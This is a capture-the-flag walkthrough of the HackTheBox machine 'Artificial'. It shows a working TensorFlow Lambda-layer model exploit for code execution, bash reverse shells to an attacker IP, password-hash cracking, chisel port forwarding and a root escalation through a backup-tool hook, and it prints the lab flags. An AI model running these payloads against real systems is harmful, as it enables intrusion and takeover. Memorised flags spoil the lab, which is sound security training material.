Post

HTB Linux Easy: Artificial

Artificial is an Easy rated Linux machine on HTB.

HTB Linux Easy: Artificial

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 10.10.11.74
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Modify hosts file:

1
10.10.11.74 artificial.htb

Enumerate HTTP (Port 80)

We can register a new user and log in, the dashboard reveals a file upload. There is a sample dockerfile & requirements.txt file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat requirements.txt 
tensorflow-cpu==2.13.1

cat Dockerfile      
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

There is a CVE for tensorflow-cpu: PoC. The following PoC Dockerfile can be used to gain RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Force platform so wheel architecture matches TensorFlow wheel
FROM --platform=linux/amd64 python:3.8-slim

WORKDIR /CVE20243660

# Install curl, wget, and TensorFlow CPU wheel
RUN apt-get update && \
    apt-get install -y curl wget && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

# Create malicious model during build
RUN python3 - <<EOF
import tensorflow as tf


def arbexe(x):
    import os
    os.system(f"wget http://10.10.14.163/test")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(arbexe))
model.compile()
model.save("CVE20243660.h5")
EOF

ENTRYPOINT ["/bin/bash"]

Generate payload:

1
2
3
4
5
6
docker buildx build \
  --platform linux/amd64 \
  -t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id

Upload the file to trigger RCE:

1
2
3
4
python3 -m http.server 80          
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.17.0.2 - - [29/Aug/2025 13:11:05] code 404, message File not found
172.17.0.2 - - [29/Aug/2025 13:11:05] "GET /test HTTP/1.1" 404 -

Foothold

Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Force platform so wheel architecture matches TensorFlow wheel
FROM --platform=linux/amd64 python:3.8-slim

# Build arguments for payload parameters

WORKDIR /CVE20243660

# Install curl, wget, and TensorFlow CPU wheel
RUN apt-get update && \
    apt-get install -y curl wget && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

# Create malicious model during build
RUN python3 - <<EOF
import tensorflow as tf


def arbexe(x):
    import os
    os.system(f"bash -c 'bash -i >& /dev/tcp/10.10.14.163/80 0>&1'")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(arbexe))
model.compile()
model.save("PoC.h5")
EOF

ENTRYPOINT ["/bin/bash"]

Generate payload:

1
2
3
4
5
6
docker buildx build \
  --platform linux/amd64 \
  -t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id

Shell:

1
2
3
4
5
6
7
8
nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.163] from (UNKNOWN) [10.10.11.74] 44884
bash: cannot set terminal process group (836): Inappropriate ioctl for device
bash: no job control in this shell
app@artificial:~/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)

Lateral movement

The app.py file contains a potential password:

1
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

Enumerte the users DB:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app@artificial:~/app/instance$ sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model  user 
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|testing|test@gmail.com|55696cd1bf228fba32eba3db394dc5aa
7|giiker|giiker@test.com|b9882bca60bd9cfcb65b187acfb8ae8b
8|test|test@example.com|098f6bcd4621d373cade4e832627b4f6

Crack the hash using crackstation.net: Pasted image 20250829134525.png

1
mattp005numbertwo

Use this password to switch to the gael user:

1
2
3
4
app@artificial:~$ su gael
Password: 
gael@artificial:/home/app$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

User.txt: d82b5949c5ec136ba288046481d46e6a

1
2
gael@artificial:~$ cat user.txt
d82b5949c5ec136ba288046481d46e6a

Privilege Escalation

We are part of the sysadm group, this group has read privileges over a backup file:

1
/var/backups/backrest_backup.tar.gz

Transfer the file:

1
2
scp gael@10.10.11.74:/var/backups/backrest_backup.tar.gz .
# Pass: mattp005numbertwo

Untar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tar -xvf backrest_backup.tar.gz    
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh

Found a config file inside .config/backrest/:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

The password appears to be base64 encoded:

1
2
echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" |base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

Cracked the bcrypt password: backrest_root:!@#$%^.

1
2
3
4
5
6
7
8
9
10
john hash -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (?)     
1g 0:00:00:37 DONE (2025-08-29 14:03) 0.02639g/s 142.5p/s 142.5c/s 142.5C/s baby16..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Since it is running on port 9898 we can port forward using chisel:

1
2
./chisel server --port 9001 --reverse
./chisel client 10.10.14.163:9001 R:9898:localhost:9898

We can create a repo with the following settings, the configured hook allows us to execute system commands: Pasted image 20250829143500.png

To execute the command, we can press on “Check Now”: Pasted image 20250829144011.png

Checking if the file was created:

1
2
ls -al /tmp
-rw-r--r--  1 root root    0 Aug 29 12:39 root

Change payload to:

1
bash -c 'bash -i >& /dev/tcp/10.10.14.163/80 0>&1'

Now press on “Check Now” to trigger the shell:

1
2
3
4
5
6
7
8
nc -lvnp 80 
listening on [any] 80 ...
connect to [10.10.14.163] from (UNKNOWN) [10.10.11.74] 45810
bash: cannot set terminal process group (36317): Inappropriate ioctl for device
bash: no job control in this shell
root@artificial:/# id
id
uid=0(root) gid=0(root) groups=0(root)

Root.txt: 6507add9e428981bef0ba1f54d7fc261

1
2
root@artificial:~# cat root.txt
6507add9e428981bef0ba1f54d7fc261

PWNED!!!

Pasted image 20250829144244.png

This post is licensed under CC BY 4.0 by the author.